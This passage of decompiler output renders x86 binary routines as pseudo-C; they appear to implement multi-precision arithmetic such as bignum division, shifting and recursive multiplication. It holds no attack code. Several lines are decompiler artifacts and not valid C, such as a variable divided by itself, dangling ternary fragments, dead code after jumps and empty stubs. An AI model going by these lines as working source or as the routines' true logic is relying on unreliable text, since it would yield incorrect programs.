                        eax = ecx - esi;
                        Vffffffd4 = eax;
                        ecx = *Ac + esi;
                        asm("adc eax,+0x0");
                        Vffffffd0 = eax;
                        *(Vffffffd8 - 4) = -1;
                        goto L080584a2;
                    }
                    Vffffffd0 = esi;
                    if(esi != 0) {
                        Vffffffd0 = Vffffffd0 - 1;
                    }
                    ecx = ~esi;
                } else {
                    eax = ecx;
                    edx = Vffffffd0;
                    Vfffffff4 = Vfffffff4 / Vfffffff4;
                    edx = Vfffffff4 % Vfffffff4;
                    Vffffffd4 = edx;
                    Vffffffb0 = eax;
                    asm("mul esi");
                    Vffffffd0 = edx;
                    ecx = eax;
                }
                Vffffffac = *Ac;
L08058461:
                if(Vffffffd0 <= Vffffffd4) {
                    != ? 0x8058489 : ;
                    if(Vffffffac >= ecx) {
                        goto L08058489;
                    }
                }
                Vffffffb0 = Vffffffb0 - 1;
                eax = Vffffffd0;
                ecx = ecx - esi;
                asm("sbb eax,+0x0");
                Vffffffd0 = eax;
                edx = Vfffffff4;
                Vffffffd4 = Vffffffd4 + edx;
                if(Vffffffd4 >= edx) {
                    goto L08058461;
                }
L08058489:
                *(Vffffffdc - 4) = Vffffffb0;
                eax = Vffffffd4;
                edx = Vffffffac - ecx;
                asm("sbb eax,[ebp-0x30]");
                ecx = edx;
                Vffffffd0 = eax;
L080584a2:
                Vffffffdc = Vffffffdc + -8;
                Vffffffd8 = Vffffffd8 + -8;
                if(Vfffffff8 = Vfffffff8 + -2) {
                    goto L08058340;
                }
            }
        }
        ebx = Ac;
        *(ebx + 4) = Vffffffd0;
        *ebx = ecx;
        goto L08058624;
L080584c4:
        edx = Ac + A10 * 4;
        Ac = edx;
        ebx = A18;
        esi = ebx * 4;
        A14 = A14 + esi;
        edi = *(A14 - 4);
        Vffffffec = edi;
        Vffffffe8 = *(A14 - 8);
        ecx = *(Ac - 4);
        if(ecx >= Vffffffec) {
            > ? L08058514 : ;
            if(L08057F48(Ac - esi, A14 - esi, ebx - 1) >= 0) {
                edx = A18;
                ebx = edx * 4;
                eax = Ac - ebx;
                L0805A010(eax, eax, A14 - ebx, edx);
                Vfffffffc = 1;
            }
            ecx = *(Ac - 4);
        }
        Vfffffff0 = A10 - A18;
        if(!(Vfffffff0 = Vfffffff0 - 1)) {
            Vffffffe4 = Ac + -4;
            do {
                Vffffffe4 = Vffffffe4 + -4;
                Ac = Ac + -4;
                if(Vffffffec != ecx) {
                    edx = ecx;
                    Vffffffec = Vffffffec / Vffffffec;
                    edx = Vffffffec % Vffffffec;
                    Vffffffb0 = edx;
                    esi = *Vffffffe4;
                    eax = Vffffffe8;
                    asm("mul esi");
                    Vffffffac = edx;
                    ecx = eax;
                    if(edx > Vffffffb0) {
                        goto L0805859c;
                    }
                    != ? 0x80585bd : ;
                    if(*(Vffffffe4 - 4) < ecx) {
L0805859c:
                        do {
                            esi = esi - 1;
                            eax = Vffffffec;
                            Vffffffb0 = Vffffffb0 + eax;
                            if(Vffffffb0 < eax) {
                                goto L080585bd;
                            }
                            if(Vffffffe8 > ecx) {
                                Vffffffac = Vffffffac - 1;
                            }
                            ecx = ecx - Vffffffe8;
                        } while(Vffffffac > Vffffffb0);
                        == ? L08058594 : ;
                    }
                } else {
                    esi = -1;
                }
L080585bd:
                ebx = A18;
                edi = ebx * 4;
                eax = A14 - edi;
                Vffffffb0 = eax;
                edx = Ac - edi;
                Vffffffac = edx;
                ecx = L0805A0B0(Vffffffac, Vffffffb0, ebx, esi);
                if(*Ac != ecx) {
                    edx = Vffffffac;
                    if(L08066380(edx, edx, Vffffffb0, A18) == 0) {
                        L08055ECC();
                    }
                    esi = esi - 1;
                }
                *(A8 + Vfffffff0 * 4) = esi;
                ecx = *Vffffffe4;
            } while(Vfffffff0 = Vfffffff0 - 1);
        }
L08058624:
        eax = Vfffffffc;
    }
    esp = ebp - 96;
}

/*	Procedure: 0x08058631 - 0x08058633
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08058631()
{



}

/*	Procedure: 0x08058634 - 0x0805870A
 *	Argument size: 28
 *	Local size: 16
 *	Save regs size: 12
 */

L08058634(A8, A10, A14, A18, A1c, A20)
/* unknown */ void  A8;
/* unknown */ void  A10;
/* unknown */ void  A14;
/* unknown */ void  A18;
/* unknown */ void  A1c;
/* unknown */ void  A20;
{
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffff0;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;
	/* unknown */ void  Vfffffffd;



    Vfffffff4 = A18;
    Vfffffff8 = A1c;
    eax = A20;
    Vfffffffc = eax;
    eax = Vfffffffd >> 7 & 255;
    *A14 = eax;
    *A10 = (Vfffffffc & 32767) + -16383;
    *A8 = Vfffffff4;
    eax = Vfffffff8;
    *(A8 + 4) = eax;
    if(!(Vfffffffc & 32767)) {
        if(*A8 == 0) {
            if(eax != 0) {
                goto L080586a2;
            }
            *A10 = 0;
        } else {
            if(*(A8 + 4) != 0) {
L080586a2:
                asm("bsr eax,[ebx+0x4]");
                al = al ^ 31;
                Vfffffff0 = eax;
                if(eax != 0) {
                    edx = *(A8 + 4);
                    ecx = eax;
                    edx = edx << cl;
                    eax = 32 - ecx;
                    edi = *A8;
                    ecx = eax;
                    *(A8 + 4) = edx | edi >> cl;
                    *A8 = *A8 << Vfffffff0;
                }
                edi = -16382 - Vfffffff0;
            } else {
                asm("bsr eax,[ebx]");
                al = al ^ 31;
                Vfffffff0 = eax;
                edi = *A8;
                *(A8 + 4) = edi << Vfffffff0;
                *A8 = 0;
                edi = -16414 - Vfffffff0;
            }
            *A10 = edi;
        }
    }
    esp = ebp - 28;
    return(2);
}

/*	Procedure: 0x0805870B - 0x0805870F
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805870B()
{



}

/*	Procedure: 0x08058710 - 0x0805876A
 *	Argument size: 16
 *	Local size: 0
 *	Save regs size: 12
 */

L08058710(A8, Ac, A10, A14)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;



    edx = A10;
    esi = Ac - 4;
    ebx = *(esi + edx * 4);
    eax = 0;
    asm("shld eax,ebx,cl");
    if(!(edx = edx - 1)) {
        (save)eax;
        if(!(dl & 1)) {
            eax = ebx;
L08058740:
            ebx = *(esi + edx * 4);
            asm("shld eax,ebx,cl");
            *(A8 + edx * 4) = eax;
            edx = edx - 1;
        }
        eax = *(esi + edx * 4);
        asm("shld ebx,eax,cl");
        *(A8 + edx * 4) = ebx;
        if(edx = edx - 1) {
            goto L08058740;
        }
        *A8 = eax << cl;
        (restore)eax;
    } else {
        *A8 = ebx << cl;
    }
}

/*	Procedure: 0x0805876B - 0x0805876B
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805876B()
{



}

/*	Procedure: 0x0805876C - 0x08058DDA
 *	Argument size: 20
 *	Local size: 20
 *	Save regs size: 12
 */

L0805876C(A8, Ac, A10, A14, A18)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
/* unknown */ void  A18;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vffffffec;
	/* unknown */ void  Vfffffff0;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    edi = A18;
    Vfffffffc = A8 + A10 * 4 + edi * 4 - 4;
    if(edi <= 31) {
        if(edi == 0) {
            eax = 0;
            goto L08058dd1;
        }
        eax = *A14;
        if(eax <= 1) {
            != ? 0x8058830 : ;
            ebx = 0;
            if(A10 > 0) {
                if(eax = A10 & 3) {
                    goto L080587fc;
                }
                if(eax > 1) {
                    if(eax > 2) {
                        *A8 = *Ac;
                        ebx = 1;
                    }
                    eax = *(Ac + ebx * 4);
                    *(A8 + ebx * 4) = eax;
                    ebx = ebx + 1;
                }
                eax = *(Ac + ebx * 4);
                *(A8 + ebx * 4) = eax;
                ebx = ebx + 1;
                if(A10 != ebx) {
L080587fc:
                    do {
                        edi = Ac;
                        eax = *(edi + ebx * 4);
                        ecx = A8;
                        *(ecx + ebx * 4) = eax;
                        eax = ebx + 1;
                        *(ecx + eax * 4) = *(edi + eax * 4);
                        eax = ebx + 2;
                        *(ecx + eax * 4) = *(edi + eax * 4);
                        eax = ebx + 3;
                        *(ecx + eax * 4) = *(edi + eax * 4);
                        ebx = ebx + 4;
                    } while(A10 != ebx);
                    goto L0805889a;
                    eax = 0;
                    if(A10 > 0) {
                        if(edx = A10 & 3) {
                            goto L08058870;
                        }
                        if(edx > 1) {
                            if(edx > 2) {
                                *A8 = 0;
                                eax = 1;
                            }
                            *(A8 + eax * 4) = 0;
                            eax = eax + 1;
                        }
                        *(A8 + eax * 4) = 0;
                        eax = eax + 1;
                        if(A10 != eax) {
L08058870:
                            ecx = A8;
                            *(ecx + eax * 4) = 0;
                            *(ecx + eax * 4 + 4) = 0;
                            *(ecx + eax * 4 + 8) = 0;
                            *(ecx + eax * 4 + 12) = 0;
                            eax = eax + 4;
                            if(A10 != eax) {
                                goto L08058870;
                            }
                        }
                    }
                }
            }
L0805889a:
            edx = 0;
        } else {
            edx = L08058DE0(A8, Ac, A10, eax);
        }
        edi = A8;
        *(edi + A10 * 4) = edx;
        A8 = edi + 4;
        esi = 1;
        if(A18 > 1) {
            if(!(A18 & 1)) {
                eax = *(A14 + 4);
                if(eax <= 1) {
                    edx = 0;
                    if(eax != 1) {
                        goto L0805891b;
                    }
                    (save)A10;
                    (save)Ac;
                    ecx = A8;
                    (save)ecx;
                    (save)ecx;
                    eax = L08066380();
                } else {
                    eax = L08066420(A8, Ac, A10, eax);
                }
                edx = eax;
L0805891b:
                edi = A8;
                *(edi + A10 * 4) = edx;
                A8 = edi + 4;
                esi = esi + 1;
                if(A18 == esi) {
                    goto L080589d2;
                }
            }
            do {
                eax = *(A14 + esi * 4);
                if(eax > 1) {
                    eax = L08066420(A8, Ac, A10, eax);
                } else {
                    edx = 0;
                    if(eax != 1) {
                        goto L08058973;
                    }
                    (save)A10;
                    (save)Ac;
                    edi = A8;
                    (save)edi;
                    (save)edi;
                    eax = L08066380();
                }
                edx = eax;
L08058973:
                *(A8 + A10 * 4) = edx;
                ebx = A8 + 4;
                eax = *(A14 + esi * 4 + 4);
                if(eax > 1) {
                    eax = L08066420(ebx, Ac, A10, eax);
                } else {
                    edx = 0;
                    if(eax != 1) {
                        goto L080589bc;
                    }
                    (save)A10;
                    (save)Ac;
                    (save)ebx;
                    (save)ebx;
                    eax = L08066380();
                }
                edx = eax;
L080589bc:
                *(ebx + A10 * 4) = edx;
                A8 = A8 + 8;
                esi = esi + 2;
            } while(A18 != esi);
        }
L080589d2:
        eax = edx;
        goto L08058dd1;
L080589dc:
        L08058E20(A8, Ac, A14, A18);
    } else {
        edi = A18;
        esp = esp - edi * 8;
        Vfffffff8 = esp;
        if(edi <= 31) {
            goto L080589dc;
        }
        L08059048(A8, Ac, A14, edi, esp);
    }
    edi = A18;
    eax = edi * 4;
    A8 = A8 + eax;
    Ac = Ac + eax;
    A10 = A10 - edi;
    if(A10 >= edi) {
        esp = esp - edi * 8;
        Vfffffff4 = esp;
        do {
            if(A18 <= 31) {
                L08058E20(Vfffffff4, Ac, A14, A18);
            } else {
                L08059048(Vfffffff4, Ac, A14, A18, Vfffffff8);
            }
            edi = A8;
            Vffffffec = L08066380(edi, edi, Vfffffff4, A18);
            ecx = A18;
            eax = ecx * 4;
            esi = A8 + eax;
            ebx = Vfffffff4 + eax;
            Vfffffff0 = ecx;
            edx = *ebx;
            ebx = ebx + 4;
            eax = Vffffffec + edx;
            *esi = eax;
            esi = esi + 4;
            if(eax < edx) {
                Vfffffff0 = ecx;
                if(!(ecx = ecx - 1)) {
                    eax = ~ecx & 3;
                    if(ecx > 0) {
                        if(eax == 0) {
                            goto L08058b28;
                        }
                        if(eax < 3) {
                            if(eax < 2) {
                                edx = *ebx + 1;
                                ebx = ebx + 4;
                                *esi = edx;
                                esi = esi + 4;
                                if(edx != 0) {
                                    goto L08058b98;
                                }
                                Vfffffff0 = A18 + -2;
                            }
                            edx = *ebx + 1;
                            ebx = ebx + 4;
                            *esi = edx;
                            esi = esi + 4;
                            if(edx != 0) {
                                goto L08058b98;
                            }
                            Vfffffff0 = Vfffffff0 - 1;
                        }
                    }
                    edx = *ebx + 1;
                    ebx = ebx + 4;
                    *esi = edx;
                    esi = esi + 4;
                    if(edx != 0) {
                        goto L08058b98;
                    }
                    if(!(Vfffffff0 = Vfffffff0 - 1)) {
L08058b28:
                        do {
                            edx = *ebx + 1;
                            ebx = ebx + 4;
                            *esi = edx;
                            esi = esi + 4;
                            if(edx != 0) {
                                goto L08058b98;
                            }
                            Vfffffff0 = Vfffffff0 - 1;
                            edx = *ebx + 1;
                            ebx = ebx + 4;
                            *esi = edx;
                            esi = esi + 4;
                            if(edx != 0) {
                                goto L08058b98;
                            }
                            Vfffffff0 = Vfffffff0 - 1;
                            edx = *ebx + 1;
                            ebx = ebx + 4;
                            *esi = edx;
                            esi = esi + 4;
                            if(edx != 0) {
                                goto L08058b98;
                            }
                            Vfffffff0 = Vfffffff0 - 1;
                            edx = *ebx + 1;
                            ebx = ebx + 4;
                            *esi = edx;
                            esi = esi + 4;
                            if(edx != 0) {
                                goto L08058b98;
                            }
                        } while(Vfffffff0 = Vfffffff0 - 1);
                    }
                }
            } else {
L08058b98:
                if(esi != ebx) {
                    Vffffffec = 0;
                    ecx = Vfffffff0 - 1;
                    Vfffffff0 = ecx;
                    if(Vffffffec < ecx) {
                        if(!(eax = ecx & 3)) {
                            if(eax > 1) {
                                if(eax > 2) {
                                    *esi = *ebx;
                                    Vffffffec = Vffffffec + 1;
                                }
                                edi = Vffffffec;
                                *(esi + edi * 4) = *(ebx + edi * 4);
                                Vffffffec = edi + 1;
                            }
                            ecx = Vffffffec;
                            *(esi + ecx * 4) = *(ebx + ecx * 4);
                            ecx = ecx + 1;
L08058c0e:
                            Vffffffec = ecx;
                            if(ecx == Vfffffff0) {
                                goto L08058c18;
                            }
                        }
                        ecx = Vffffffec;
                        *(esi + ecx * 4) = *(ebx + ecx * 4);
                        eax = Vffffffec + 1;
                        *(esi + eax * 4) = *(ebx + eax * 4);
                        eax = Vffffffec + 2;
                        *(esi + eax * 4) = *(ebx + eax * 4);
                        eax = Vffffffec + 3;
                        *(esi + eax * 4) = *(ebx + eax * 4);
                        ecx = ecx + 4;
                        goto L08058c0e;
                    }
                }
            }
L08058c18:
            ecx = A18;
            eax = ecx * 4;
            A8 = A8 + eax;
            Ac = Ac + eax;
            A10 = A10 - ecx;
        } while(A10 >= ecx);
    }
    if(A10 != 0) {
        (save)A10;
        (save)Ac;
        (save)A18;
        (save)A14;
        edi = Vfffffff8;
        (save)edi;
        L0805876C();
        edi = A8;
        Vffffffec = L08066380(edi, edi, edi, A18);
        eax = A18 * 4;
        esi = A8 + eax;
        ebx = Vfffffff8 + eax;
        Vfffffff0 = A10;
        edx = *ebx;
        ebx = ebx + 4;
        eax = Vffffffec + edx;
        *esi = eax;
        esi = esi + 4;
        if(eax >= edx) {
            goto L08058d4c;
        }
        if(!(Vfffffff0 = Vfffffff0 - 1)) {
            eax = ~Vfffffff0 & 3;
            if(Vfffffff0 > 0) {
                if(eax == 0) {
                    goto L08058cfc;
                }
                if(eax < 3) {
                    if(eax < 2) {
                        edx = *ebx + 1;
                        ebx = ebx + 4;
                        *esi = edx;
                        esi = esi + 4;
                        if(edx != 0) {
                            goto L08058d4c;
                        }
                        Vfffffff0 = Vfffffff0 - 1;
                    }
                    edx = *ebx + 1;
                    ebx = ebx + 4;
                    *esi = edx;
                    esi = esi + 4;
                    if(edx != 0) {
                        goto L08058d4c;
                    }
                    Vfffffff0 = Vfffffff0 - 1;
                }
            }
            edx = *ebx + 1;
            ebx = ebx + 4;
            *esi = edx;
            esi = esi + 4;
            if(edx != 0) {
                goto L08058d4c;
            }
            if(!(Vfffffff0 = Vfffffff0 - 1)) {
L08058cfc:
                do {
                    edx = *ebx + 1;
                    ebx = ebx + 4;
                    *esi = edx;
                    esi = esi + 4;
                    if(edx != 0) {
                        goto L08058d4c;
                    }
                    Vfffffff0 = Vfffffff0 - 1;
                    edx = *ebx + 1;
                    ebx = ebx + 4;
                    *esi = edx;
                    esi = esi + 4;
                    if(edx != 0) {
                        goto L08058d4c;
                    }
                    Vfffffff0 = Vfffffff0 - 1;
                    edx = *ebx + 1;
                    ebx = ebx + 4;
                    *esi = edx;
                    esi = esi + 4;
                    if(edx != 0) {
                        goto L08058d4c;
                    }
                    Vfffffff0 = Vfffffff0 - 1;
                    edx = *ebx + 1;
                    ebx = ebx + 4;
                    *esi = edx;
                    esi = esi + 4;
                    if(edx != 0) {
                        goto L08058d4c;
                    }
                } while(Vfffffff0 = Vfffffff0 - 1);
                goto L08058dcc;
L08058d4c:
                if(esi != ebx) {
                    Vffffffec = 0;
                    ecx = Vfffffff0 - 1;
                    Vfffffff0 = ecx;
                    if(Vffffffec < ecx) {
                        if(!(eax = ecx & 3)) {
                            if(eax > 1) {
                                if(eax > 2) {
                                    *esi = *ebx;
                                    Vffffffec = Vffffffec + 1;
                                }
                                edi = Vffffffec;
                                *(esi + edi * 4) = *(ebx + edi * 4);
                                Vffffffec = edi + 1;
                            }
                            ecx = Vffffffec;
                            *(esi + ecx * 4) = *(ebx + ecx * 4);
                            ecx = ecx + 1;
                        } else {
L08058d94:
                            ecx = Vffffffec;
                            *(esi + ecx * 4) = *(ebx + ecx * 4);
                            edx = Vffffffec + 1;
                            *(esi + edx * 4) = *(ebx + edx * 4);
                            edx = Vffffffec + 2;
                            *(esi + edx * 4) = *(ebx + edx * 4);
                            edx = Vffffffec + 3;
                            *(esi + edx * 4) = *(ebx + edx * 4);
                            ecx = ecx + 4;
                        }
                        Vffffffec = ecx;
                        if(ecx != Vfffffff0) {
                            goto L08058d94;
                        }
                    }
                }
            }
        }
    }
L08058dcc:
    eax = *Vfffffffc;
L08058dd1:
    esp = ebp - 32;
}

/*	Procedure: 0x08058DDB - 0x08058DDF
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08058DDB()
{



}

/*	Procedure: 0x08058DE0 - 0x08058E1E
 *	Argument size: 16
 *	Local size: 0
 *	Save regs size: 12
 */

L08058DE0(A8, Ac, A10, A14)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
{
	/* unknown */ void  esi;
	/* unknown */ void  edi;



    (save)ebp;
    edi = A8 + A10 * 4;
    esi = Ac + A10 * 4;
    ecx = ~A10;
    edx = 0;
    do {
        ebp = edx;
        eax = *(esi + ecx * 4);
        asm("mul ebx");
        eax = eax + ebp;
        asm("adc edx,+0x0");
        *(edi + ecx * 4) = eax;
    } while(ecx = ecx + 1);
    eax = edx;
    (restore)ebp;
}

/*	Procedure: 0x08058E1F - 0x08058E1F
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08058E1F()
{



}

/*	Procedure: 0x08058E20 - 0x08059045
 *	Argument size: 16
 *	Local size: 8
 *	Save regs size: 12
 */

L08058E20(A8, Ac, A10, A14)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    ebx = A8;
    eax = *A10;
    if(eax <= 1) {
        != ? 0x8058eb0 : ;
        ecx = 0;
        if(A14 > 0) {
            if(eax = A14 & 3) {
                goto L08058e80;
            }
            if(eax > 1) {
                if(eax > 2) {
                    *ebx = *Ac;
                    ecx = 1;
                }
                *(ebx + ecx * 4) = *(Ac + ecx * 4);
                ecx = ecx + 1;
            }
            eax = *(Ac + ecx * 4);
            *(ebx + ecx * 4) = eax;
            ecx = ecx + 1;
            if(A14 != ecx) {
L08058e80:
                do {
                    esi = Ac;
                    *(ebx + ecx * 4) = *(esi + ecx * 4);
                    eax = ecx + 1;
                    *(ebx + eax * 4) = *(esi + eax * 4);
                    eax = ecx + 2;
                    *(ebx + eax * 4) = *(esi + eax * 4);
                    eax = ecx + 3;
                    *(ebx + eax * 4) = *(esi + eax * 4);
                    ecx = ecx + 4;
                } while(A14 != ecx);
                goto L08058f0f;
                eax = 0;
                if(A14 > 0) {
                    if(edx = A14 & 3) {
                        goto L08058ee8;
                    }
                    if(edx > 1) {
                        if(edx > 2) {
                            *ebx = 0;
                            eax = 1;
                        }
                        *(ebx + eax * 4) = 0;
                        eax = eax + 1;
                    }
                    *(ebx + eax * 4) = 0;
                    eax = eax + 1;
                    if(A14 != eax) {
L08058ee8:
                        *(ebx + eax * 4) = 0;
                        *(ebx + eax * 4 + 4) = 0;
                        *(ebx + eax * 4 + 8) = 0;
                        *(ebx + eax * 4 + 12) = 0;
                        eax = eax + 4;
                        if(A14 != eax) {
                            goto L08058ee8;
                        }
                    }
                }
            }
        }
L08058f0f:
        edx = 0;
    } else {
        eax = L08058DE0(ebx, Ac, A14, eax);
        edx = eax;
    }
    edi = A14;
    *(ebx + edi * 4) = edx;
    ebx = ebx + 4;
    Vfffffffc = 1;
    if(Vfffffffc < edi) {
        if(!(edi & 1)) {
            eax = *(A10 + 4);
            if(eax <= 1) {
                edx = 0;
                if(eax != 1) {
                    goto L08058f80;
                }
                (save)edi;
                (save)Ac;
                (save)ebx;
                (save)ebx;
                eax = L08066380();
            } else {
                eax = L08066420(ebx, Ac, A14, eax);
            }
            edx = eax;
L08058f80:
            esi = A14;
            *(ebx + esi * 4) = edx;
            ebx = ebx + 4;
            Vfffffffc = Vfffffffc + 1;
            if(Vfffffffc == esi) {
                goto L0805903c;
            }
        }
        do {
            eax = *(A10 + Vfffffffc * 4);
            if(eax > 1) {
                eax = L08066420(ebx, Ac, A14, eax);
            } else {
                edx = 0;
                if(eax != 1) {
                    goto L08058fd4;
                }
                (save)A14;
                (save)Ac;
                (save)ebx;
                (save)ebx;
                eax = L08066380();
            }
            edx = eax;
L08058fd4:
            *(ebx + A14 * 4) = edx;
            Vfffffff8 = ebx + 4;
            eax = *(A10 + Vfffffffc * 4 + 4);
            if(eax > 1) {
                eax = L08066420(Vfffffff8, Ac, A14, eax);
            } else {
                edx = 0;
                if(eax != 1) {
                    goto L08059023;
                }
                (save)A14;
                (save)Ac;
                edi = Vfffffff8;
                (save)edi;
                (save)edi;
                eax = L08066380();
            }
            edx = eax;
L08059023:
            edi = A14;
            *(Vfffffff8 + edi * 4) = edx;
            ebx = ebx + 8;
            Vfffffffc = Vfffffffc + 2;
        } while(Vfffffffc != edi);
    }
L0805903c:
    esp = ebp - 20;
}

/*	Procedure: 0x08059046 - 0x08059047
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08059046()
{



}

/*	Procedure: 0x08059048 - 0x08059719
 *	Argument size: 20
 *	Local size: 20
 *	Save regs size: 12
 */

L08059048(A8, Ac, A10, A14, A18)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
/* unknown */ void  A18;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vffffffec;
	/* unknown */ void  Vfffffff0;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    esi = A14;
    if(!(esi & 1)) {
        esi = esi - 1;
        Vffffffec = esi;
        if(esi > 31) {
            L08059048(A8, Ac, A10, esi, A18);
L08059082:
            edi = Vffffffec;
            (save) *(A10 + edi * 4);
            (save)edi;
            (save)Ac;
            esi = Vffffffec;
            edi = A8;
            ebx = edi + esi * 4;
            (save)ebx;
            *(edi + (Vffffffec + Vffffffec) * 4) = L08066420();
            (save) *(Ac + esi * 4);
            (save)A14;
            (save)A10;
            (save)ebx;
            eax = A14 + Vffffffec;
            *(A8 + eax * 4) = L08066420();
            goto L08059710;
        }
        L08058E20(A8, Ac, A10, Vffffffec);
        goto L08059082;
L080590f0:
        edi = Vfffffffc;
        eax = edi * 4;
        L08058E20(A8 + A14 * 4, eax + Ac, A10 + eax, edi);
    } else {
        esi = A14 >> 1;
        Vfffffffc = esi;
        if(esi <= 31) {
            goto L080590f0;
        }
        eax = esi * 4;
        L08059048(A8 + A14 * 4, eax + Ac, A10 + eax, esi, A18);
    }
    esi = Vfffffffc;
    edi = Ac;
    ebx = edi + esi * 4;
    if(L08057F48(ebx, edi, esi) >= 0) {
        (save)esi;
        (save)edi;
        (save)ebx;
        (save)A8;
        L0805A010();
        Vfffffff4 = 0;
    } else {
        edi = Vfffffffc;
        esi = Ac;
        L0805A010(A8, esi, esi + edi * 4, edi);
        Vfffffff4 = 1;
    }
    esi = Vfffffffc;
    esi = esi << 2;
    Vffffffec = esi;
    ebx = A10 + Vffffffec;
    if(L08057F48(ebx, A10, esi) >= 0) {
        (save)Vfffffffc;
        (save)A10;
        (save)ebx;
        (save)A8 + Vffffffec;
        L0805A010();
        Vfffffff4 = Vfffffff4 ^ 1;
        goto L08059216;
L080591dc:
        edi = Vfffffffc;
        esi = A8;
        L08058E20(A18, esi, esi + edi * 4, edi);
    } else {
        esi = Vfffffffc;
        eax = esi * 4;
        L0805A010(eax + A8, A10, A10 + eax, esi);
L08059216:
        if(Vfffffffc <= 31) {
            goto L080591dc;
        }
        esi = Vfffffffc;
        edi = A8;
        L08059048(A18, edi, edi + esi * 4, esi, A18 + A14 * 4);
    }
    if(Vfffffffc > 0) {
        edx = A14 * 4;
        esi = Vfffffffc;
        ecx = esi * 4;
        ebx = edx + ecx;
        if(eax = esi & 3) {
            goto L080592a4;
        }
        if(eax > 1) {
            if(eax > 2) {
                edi = A8;
                *(edi + ecx) = *(edi + edx);
                edx = edx + 4;
                ecx = ecx + 4;
            }
            esi = A8;
            *(esi + ecx) = *(esi + edx);
            edx = edx + 4;
            ecx = ecx + 4;
        }
        edi = A8;
        *(edi + ecx) = *(edi + edx);
        edx = edx + 4;
        ecx = ecx + 4;
        if(edx != ebx) {
L080592a4:
            do {
                esi = A8;
                *(esi + ecx) = *(esi + edx);
                *(esi + ecx + 4) = *(esi + edx + 4);
                *(esi + ecx + 8) = *(esi + edx + 8);
                *(esi + ecx + 12) = *(esi + edx + 12);
                edx = edx + 16;
                ecx = ecx + 16;
            } while(edx != ebx);
        }
    }
    edx = A8 + A14 * 4;
    ebx = Vfffffffc * 4;
    Vfffffff8 = L08066380(edx, edx, ebx + edx, Vfffffffc);
    if(Vfffffff4 != 0) {
        (save)A14;
        (save)A18;
        eax = A8 + ebx;
        (save)eax;
        (save)eax;
        Vfffffff8 = Vfffffff8 - L0805A010();
        goto L0805934f;
L08059318:
        L08058E20(A18, Ac, A10, Vfffffffc);
    } else {
        eax = A8 + Vfffffffc * 4;
        Vfffffff8 = Vfffffff8 + L08066380(eax, eax, A18, A14);
L0805934f:
        if(Vfffffffc <= 31) {
            goto L08059318;
        }
        L08059048(A18, Ac, A10, Vfffffffc, A18 + A14 * 4);
    }
    ebx = A8 + Vfffffffc * 4;
    Vfffffff8 = Vfffffff8 + L08066380(ebx, ebx, A18, A14);
    if(Vfffffff8 != 0) {
        ebx = ebx + A14 * 4;
        esi = Vfffffffc;
        Vfffffff0 = esi;
        edx = *ebx;
        Vffffffec = ebx + 4;
        eax = Vfffffff8 + edx;
        *ebx = eax;
        ebx = Vffffffec;
        if(eax >= edx) {
            goto L0805949c;
        }
        Vfffffff0 = esi;
        if(!(esi = esi - 1)) {
            eax = ~esi & 3;
            if(esi > 0) {
                if(eax == 0) {
                    goto L08059440;
                }
                if(eax < 3) {
                    if(eax < 2) {
                        edx = *ebx + 1;
                        Vffffffec = ebx + 4;
                        *ebx = edx;
                        ebx = Vffffffec;
                        if(edx != 0) {
                            goto L0805949c;
                        }
                        Vfffffff0 = Vfffffffc + -2;
                    }
                    esi = Vffffffec;
                    edx = *esi + 1;
                    Vffffffec = esi + 4;
                    *ebx = edx;
                    ebx = ebx + 4;
                    if(edx != 0) {
                        goto L0805949c;
                    }
                    Vfffffff0 = Vfffffff0 - 1;
                }
            }
            edi = Vffffffec;
            edx = *edi + 1;
            Vffffffec = edi + 4;
            *ebx = edx;
            ebx = ebx + 4;
            if(edx != 0) {
                goto L0805949c;
            }
            if(!(Vfffffff0 = Vfffffff0 - 1)) {
L08059440:
                do {
                    esi = Vffffffec;
                    edx = *esi + 1;
                    esi = esi + 4;
                    Vffffffec = esi;
                    *ebx = edx;
                    ebx = ebx + 4;
                    if(edx != 0) {
                        goto L0805949c;
                    }
                    Vfffffff0 = Vfffffff0 - 1;
                    edx = *esi + 1;
                    esi = esi + 4;
                    Vffffffec = esi;
                    *ebx = edx;
                    ebx = ebx + 4;
                    if(edx != 0) {
                        goto L0805949c;
                    }
                    Vfffffff0 = Vfffffff0 - 1;
                    edx = *esi + 1;
                    esi = esi + 4;
                    Vffffffec = esi;
                    *ebx = edx;
                    ebx = ebx + 4;
                    if(edx != 0) {
                        goto L0805949c;
                    }
                    Vfffffff0 = Vfffffff0 - 1;
                    edx = *esi + 1;
                    Vffffffec = esi + 4;
                    *ebx = edx;
                    ebx = ebx + 4;
                    if(edx != 0) {
                        goto L0805949c;
                    }
                } while(Vfffffff0 = Vfffffff0 - 1);
                goto L0805950c;
L0805949c:
                if(Vffffffec != ebx) {
                    ecx = 0;
                    edi = Vfffffff0 - 1;
                    Vfffffff0 = edi;
                    if(0 < edi) {
                        if(eax = edi & 3) {
                            goto L080594e0;
                        }
